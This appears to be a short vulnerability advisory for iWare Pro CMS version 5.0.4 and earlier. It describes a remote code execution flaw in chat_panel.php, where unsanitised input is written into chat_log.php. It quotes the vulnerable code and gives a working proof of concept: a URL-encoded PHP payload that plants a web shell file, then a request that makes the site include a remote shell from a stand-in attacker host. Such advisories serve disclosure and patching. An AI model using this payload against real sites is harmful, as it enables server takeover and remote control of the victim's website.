iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability

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+ iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability
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+ Affected Software .: iWare Professional CMS <= 5.0.4
+ Vendor ............: http://www.dsiware.com/
+ Download ..........: http://dsiware.com/download.php
+ Description .......: "iWare is a Open Source PHP & MySQL Content Management System"
+ Class .............: Remote Code Execution
+ Risk ..............: High (Remote Code Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
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+ Details:
+ iWare admin/mods/simplechat_1.0.0/chat_panel.php does not sanatize the $message variable
+ in the first argument of the PostMessage() function on line 11 before writing the variable
+ contents to chat_log.php on line 25. When chat_panel.php is requested, the PostMessage()
+ function is called on line 32 and $_REQUEST['msg'] is written to chat_log.php unsanatized.
+
+ Vulnerable Code: 
+ admin/mods/simplechat_1.0.0/chat_panel.php, line(s) 11-32:
+ -> 11: function PostMessage($message) {
+ -> 16:  $new_message = "".$message."<br />\n";
+ -> 23:  $open_file = fopen("chat_log.php", "w");
+ -> 25:  fputs($open_file, stripslashes($new_message));
+ -> 28:  fclose($open_file);
+ -> 29: }
+ -> 32: if($_REQUEST['talk']==1){PostMessage($_REQUEST['msg']);}
+ 
+ Proof Of Concept:
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=[evilcode]
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=%3C%3Fphp%0D%0A%24open_file+%3D+fopen%28%22..%2F..%2F..%2Fevilfile.php%22%2C+%22w%22%29%3B%0D%0Afputs%28%24open_file%2C%22%3C%3Fphp+include%28%5C%24_GET%5B%27evil_include%27%5D%29%3B+%3F%3E%22%29%3B%0D%0Afclose%28%24open_file%29%3B%0D%0Achmod%28%22..%2F..%2F..%2Fevilfile.php%22%2C0777%29%3B%0D%0A%3F%3E
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
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